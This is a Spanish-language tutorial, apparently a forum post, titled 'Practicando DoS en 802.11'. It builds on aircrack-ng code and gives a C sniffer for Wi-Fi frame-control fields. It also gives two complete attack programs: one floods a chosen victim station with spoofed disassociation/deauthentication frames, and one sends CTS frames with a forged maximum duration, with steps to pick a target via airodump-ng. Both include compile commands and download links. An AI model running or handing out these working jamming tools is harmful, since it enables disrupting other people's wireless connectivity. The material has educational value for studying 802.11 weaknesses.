Practicando DoS en 802.11
1.- La base de los programas que usaremos.
2.- Creación de un esnifer sencillo
3.- Envío de tramas de desautenticación/disociación
4.- Inundación RTS/CTS con duración manipulada
1.- La base de los programas que usaremos.
Vamos a usar “parte” del código fuente de la suite de aircrack-ng para adaptarlos a nuestros ejemplos, así el trabajo “duro” ya está hecho y de paso, vamos comprendiendo cómo esta gente llegó a donde ha llegado…
Estos scripts no son nada modulares ni “exportables”, no contemplan los numerosos errores de programación que seguro que tienen, igualmente seguro que “sobran” porciones de código, pero caray!! Que esto no es un curso de C, así que perdonad por la falta de rigor en la programación y centrémonos en su funcionamiento…
Usaremos airodump-ng para “husmear” el medio y luego iremos afinando los ejemplos que nos ocupan.
También es conveniente que estés familiarizado con algún esnifer.
Lo primero nos descargaremos la suite de aircrack-ng y la instalamos:
http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
Código:
tar xvfz aircrack-ng-1.0-rc3.tar.gz
cd aircrack-ng-1.0-rc3
cd src
make unstable=true
En este punto ya podemos usarla… pero veamos nuestro primer programa:
2.- Crear un pequeño esnifer para examinar el tráfico. Programa wifiesnif.c
En este ejemplo haremos lo siguiente:
- • Abrir la tarjeta inalámbrica para poder capturar y enviar paquetes (el envío en este ejemplo no está implementado)
• Capturar paquetes en el aire
• Mostrar los paquetes capturados
• Analizar el campo Frame Control de la cabecera MAC
Este mismo script podríamos usarlo para ir “mas allá”, para analizar todo el paquete, los datos, el tipo de cifrado, etc… pero para que no sea muy largo lo dejé tan sólo en:
- • Obtener los bytes de FC
• Mostrar si se trata de un FromDS, toDS, WDS ó ad-hoc
• Mostrar el tipo de trama: Administración Datos o Control
• Averiguar si se trata de un paquete cifrado o no
Se podrían implementar nuevas consultas, todas la que desees, luego te “pongo deberes”
Te recuerdo que existirán líneas del tipo #include, #define y otras que pueden no ser necesarias, están porque poco a poco irá creciendo el programa y se necesitarán más adelante.
Veamos lo “básico” del código:
Función dump_packet
Código:
void dump_packet(unsigned char* packet, int len) // volcado de paquetes a pantalla
{
int i=0;
printf("\n");
for(i=0; i<len; i++)
{
if(i>0 && i%4 == 0)printf(" ");
if(i>0 && i%16 == 0)printf("\n");
printf("%02X ", packet);
}
printf("\n");
}
La utilizaremos para mostrar por pantalla el/los paquetes capturados
Función read_packet
Código:
int read_packet(void *buf, size_t count, struct rx_info *ri) // leer paquetes Wifi
{
struct wif *wi = _wi_in; /* XXX */
int rc;
rc = wi_read(wi, buf, count, ri);
if (rc == -1) {
switch (errno) {
case EAGAIN:
return 0;
}
perror("wi_read()");
return -1;
}
return rc;
}
Se encarga de capturar el tráfico y retorna como valor el tamaño del paquete leído
Estas dos funciones anteriores son prácticamente las mismas que usan la suite de aircrack.
Función captura_datos_FC
Código:
int captura_datos_FC( int caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
char elegido[1];
int otromas, estado;
caplen=0;
while( 1 )
{
caplen = read_packet( h80211, sizeof( h80211 ), NULL );
if(caplen <= 0) continue; // si la longitud no es válida. no se capturaron paquetes
dump_packet (h80211,caplen);
printf( "\nPulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?" );
otromas=0;
while(otromas==0) otromas = scanf( "%s", elegido );
usleep(300);
if( elegido[0] != 's' && elegido[0] != 'S' ) continue;
printf ("\n\tFrame Control: %02X:%02X\n", h80211[0],h80211[1]); //muestra los 2 bytes de FC
estado=h80211[1] & 0x3; // Valores de FromDS y toDS (0,1,2,3)
switch (estado) {
case 0: // comunicacions adhoc y tramas de control/administración
printf ("\t......FromDS : 0\n");
printf ("\t......toDs : 0\n");
break;
case 1: // paquete con dirección HACIA el sistema de districubión
printf ("\t......FromDs : 0\n");
printf ("\t......toDS : 1\n");
break;
case 2: // paquete enviado DESDE el sistema de distribución
printf ("\t......FromDs : 1\n");
printf ("\t......toDS : 0\n");
break;
case 3: // paquete enviado en WDS
printf ("\t......FromDS : 1\n");
printf ("\t......toDs : 1\n");
break;
}
// Comprobamos el tipo de trama (datos, administración o control)
if ((h80211[0] & 0x0C) == 0x08)
printf ("\t......Trama : de DATOS\n");
if ((h80211[0] & 0x0C) == 0x00)
printf ("\t......Trama : de ADMINISTRACION\n");
if ((h80211[0] & 0x0C) == 0x04)
printf ("\t......Trama : de CONTROL\n");
// Averiguamos si se trata de un paquete con el bit de cifrado activado
if ((h80211[1] & 0x40) == 0x40) {
printf ("\t......Cifrado: SI\n");
}
else
{
printf ("\t......Cifrado : NO\n");
}
}
return( caplen );
}
Esta función analiza el paquete capturado mediante read_packet usando un array llamado h80211[4096] como contendor de los bytes en hexadecimal que se han leído.
De esta forma, por ejemplo, los valores de Frame Control estarán en h80211[0] y en h80211[1], la duración en h80211[2] y h80211[3], etc…
Creo que con los comentarios incluidos en el propio código fuente es suficiente para que lo comprendamos a estas alturas, no??
Y por último, la función main que es el inicio del programa:
Código:
int main( int argc, char *argv[] ) // inicio del programa
{
int caplen;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: wifiesnif interface\n\nEjemplo: wifiesnif wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
/***************************************/
/* Llamada al esnifer */
/***************************************/
caplen=0;
caplen=captura_datos_FC(caplen);
exit(0);
}
Vamos, está claro lo que hace, no??
No hay que preocuparse de si sabemos lenguaje C o no, vamos no importa tanto cómo abrir la interface wifi, pero sí es importante que comprendas bien la función captura_datos_FC y cómo se averiguan los estados de toDS, FromDS, wep, etc…
El código completo lo tienes aquí: http://www.megaupload.com/?d=0SMDIKFJ
Guárdalo junto con los otras fuentes de aircrack (así será mas fácil compilarlo) por ejemplo con el nombre wifiesnif.c
Para compilarlo:
Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o wifiesnif.o wifiesnif.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude wifiesnif.o common.o crypto.o -o wifiesnif -Losdep -losdep -lssl -lcrypto
y ya está, lo lanzamos::
Código:
bt src # wifiesnif eth1
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?n
08 41 1C 00 00 16 B6 41 03 5D 00 17 9A C3 D6 B9
00 16 B6 41 03 5B 80 88 2A 21 00 00 13 F5 7C F2
C5 E5 15 9D CA 7C B1 17 09 25 84 05 1D 55 92 59
F0 95 43 2B 54 1F A2 41 B1 24 E1 F8 A5 47 7D 58
04 6C A4 AF AB BC 27 C2 D9 31 E2 03 6E 7B CC F1
24 AE D0 0B D9 F1 1A 25 E4 2D EE DC 0B C9 45 48
55 6D 58 55
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: 08:41
......FromDs : 0
......toDS : 1
......Trama : de DATOS
......Cifrado: SI
D4 00 00 00 00 17 9A C3 D6 B9
Pulsa Ctrl+C para cancelar el análisis. Analizar este paquete (s/n) ?s
Frame Control: D4:00
......FromDS : 0
......toDs : 0
......Trama : de CONTROL
......Cifrado: NO
….
….
3.- Denegación de Servicios mediante el envío de tramas de Disociación o desautenticación.
Para este ejemplo usaremos airodump con el objeto de fijar la red, el punto de acceso y el/los clientes asociados.
Usaremos airodump y así fijar nuestro objetivo, recolectar la información necesaria y luego preparar nuestro script con los parámetros adecuados.
Supongamos que lanzamos airodump mas o menos así
Código:
bt src # airodump-ng -w test eth1 -c1 -d 00:16:B6:41:03:5D
CH 1 ][ Elapsed: 0 s ][ 2009-07-14 09:47
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:16:B6:41:03:5D 78 0 16 2 0 1 48 WEP WEP TallerWIFI
BSSID STATION PWR Lost Packets Probes
00:16:B6:41:03:5D 00:17:9A:C3:D6:B9 75 0 2
Allí vemos las macs del punto de acceso (BSSID) y de la víctima (STATION) que luego tendremos que pasarlas a nuestro programa, que le he llamdo dos01.c
En este ejemplo, necesitaremos una función nueva que nos permita lanzar el/los paquetes a la red… esta es: send_packet
Código:
int send_packet(void *buf, size_t count) // envio de paquetes WiFi
{
struct wif *wi = _wi_out;
if (wi_write(wi, buf, count, NULL) == -1) {
switch (errno) {
case EAGAIN:
case ENOBUFS:
usleep(10000);
return 0;
}
perror("wi_write()");
return -1;
}
return 0;
}
Y también la función main cambia con respecto al anterior, esta es:
Código:
int main( int argc, char *argv[] ) // inicio del programa
{
int z;
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: dos01 interface\n\nEjemplo: dos01 wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
unsigned int mac_ap[6], mac_cl[6]; //mac_ap es la mac del AP y mac_cli la mac de la víctima
unsigned char DISO[26];
// Solicitamos la entrada de MAC's por pantalla
printf ("\nEscribe la MAC del Punto de Acceso --------> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_ap[0],&mac_ap[1],&mac_ap[2],&mac_ap[3],&mac_ap[4],&mac_ap[5]);
printf ("\nEscribe la MAC de la Estación a Disociar --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
/***************************************/
/* Construimos la trama de Disociación */
/***************************************/
// FRAME CONTROL bytes 0 y 1
DISO[0]=0xA0; // Esto es Disociación!!! también podemos usar 0xC0 que sería desautenticación!!!
DISO[1]=0x00;
// DURACION bytes 2 y 3 Valor al azar, para el ejemplo 023C
DISO[2]=0X3c;
DISO[3]=0X02;
// MAC DESTINO -- LA DE LA VICTIMA A DISOCIAR de la trama (DISO+4, DISO+5... hasta DISO+9)
for (z=0;z<6;z++) DISO[4+z]=mac_cl[z];
// MAC ORIGEN -- DEL PUNTO DE ACCESO QUE ENVIA LA DISOCIACION (DISO+10, DISO+11.... hasta DISO+15)
for (z=0;z<6;z++) DISO[10+z]=mac_ap[z];
// MAC DEL BSSID -- LA DEL SISTEMA DE DISTRIBUCIÓN que es el Punto de Acceso (DISO+16, DISO+17... hasta DISO+21)
for (z=0;z<6;z++) DISO[16+z]=mac_ap[z];
// Número de Fragmento y número de secuencia bytes 22 y 23
DISO[22]=0x00;
DISO[23]=0x00;
// Razón y Estado de la disociación bytes 24 y 25
DISO[24]=0x04; // La razón 4 significa: El tiempo de inactividad expiró y la estación fue disociada.
DISO[25]=0x00; // Estado 0 significa: satisfactorio
// Mostramos en pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(DISO,26); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
z=1;
while(1)
{
send_packet(DISO,26); usleep(20000);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}
exit(0);
}
Al igual que antes, hay muy poco que explicar ya que los comentarios en el código hablan por sí mismos… observa cómo se construye la trama “mal intencionada” y que se almacena en un array que he llamado DISO[]
Luego, lo único que hay que hacer es enviar esos datos almacenados mediante la función send_packet que hablábamos.
Para compilarlo
Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dos01.o dos01.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dos01.o common.o crypto.o -o dos01 -Losdep -losdep -lssl -lcrypto
y ahh!!! El código fuente completo lo descargáis en: http://www.megaupload.com/?d=MPEXQ8RN
4.- Denegación de Servicio mediante tramas manipuladas CTS y ataque por duración.
[i]Recuerda lo que hablábamos de la duración… del tipo “asignado” para transmitir esa trama, y también de las tramas CTS para limpiar el medio y que otras estaciones callen…
Este ataque combina las dos funciones del comportamiento de las redes WiFi.
El programa utiliza las funciones que ya hemos venido usando, en este caso send_packet y dump_packet, lo que cambia en esta ocasión es la función main:
Código:
int main( int argc, char *argv[] ) // inicio del programa
{
unsigned char CTS_RTS[10]; //array que almacena la trama CTS
unsigned int mac_cl[6]; // aaray que contendrá la mac del equipo víctima o broadcast
int z; // variable para distintos usos
//Comprueba el paso de parámetros
if( argc != 2 ) {
printf("\nUso: dos02 interface\n\nEjemplo: dos02 wlan0\n\n");
exit( 0 );
}
/* Abrir Interface wifi para enviar/recibir tráfico */
opt.iface_out = argv[1];
_wi_out = wi_open(opt.iface_out);
if (!_wi_out)
return 1;
dev.fd_out = wi_fd(_wi_out);
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
wi_get_mac(_wi_out, dev.mac_out);
/* drop privileges */
setuid( getuid() );
printf ("\nEscribe la MAC de la Estación Víctima --> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &mac_cl[0],&mac_cl[1],&mac_cl[2],&mac_cl[3],&mac_cl[4],&mac_cl[5]);
/***************************************/
/* Construimos la trama RTS_CTS */
/***************************************/
// FRAME CONTROL bytes 0 y 1
CTS_RTS[0]=0xC4; // Esto es CTS
CTS_RTS[1]=0x02; // FromDs activado (la trama se envía DESDE el punto de acceso al cliente)
// Duración bytes 2 y 3 Jugamos con la máxmima, 32767 aprox 1/30 seg
CTS_RTS[2]=0Xff;
CTS_RTS[3]=0X7f;
// MAC DESTINO -- LA DE LA VICTIMA o BROADCAST bytes 4,5,6,7,8 y 9
for (z=0;z<6;z++) CTS_RTS[4+z]=mac_cl[z];
// Volcamos a pantalla la trama a enviar
printf ("\nTrama a enviar"
"\n***** * ******\n");
dump_packet(CTS_RTS,10); //Volcamos el paquete a enviar por pantalla para ver su encapsulado
printf("\nPulsa Ctrl+C para cancelar el ataque\n\n");
// Envío de tramas CTS con duración manipulada
z=1;
while(1)
{
send_packet(CTS_RTS,10);
usleep(300);
printf ("\rEnviando trama número %i \r",z);
fflush( stdout );
z++;
}
exit(0);
}
El array CTS_RTS contiene la trama a enviar de tan sólo 10 bytes de longitud, observa también la línea donde “jugamos” con la duración de la misma, la máxima posible según lo que estudiamos antes.
El resultado final tras la ejecución del programa será que la estación víctima pierde la conectividad (eso sí, antes de ello, sus paquetes de demoran y demoran en el envío/recepción) te aconsejo que pruebes a hacer un ping constante desde la víctima a cualquier sitio mientras dura el ataque y comprobarás que el tiempo que tarda en enviarlo es muy alto…. Después de unos cuantos miles de esos paquetes perderá del todo la comunicación.
El link para descargar el código (lo llamé dos02.c) es: http://www.megaupload.com/?d=TK8S6P4W
Y la compilación:
Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude -c -o dos02.o dos02.c
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0 -Iinclude dos02.o common.o crypto.o -o dos02 -Losdep -losdep -lssl -lcrypto
Y antes de despedir esta parte… los deberes.
- • Modificar el código de wifiesnif.c para que nos diga (en el caso de que el paquete esté cifrado) con qué tipo de cifrado nos topamos, esto es que diga si es WEP o WPA. (tendrás que investigar un poco por tu cuenta)
• Modificar el código de wifiesnif.c para que nos diga si se trata de una trama QoS siempre que sea una trama de datos
Marcadores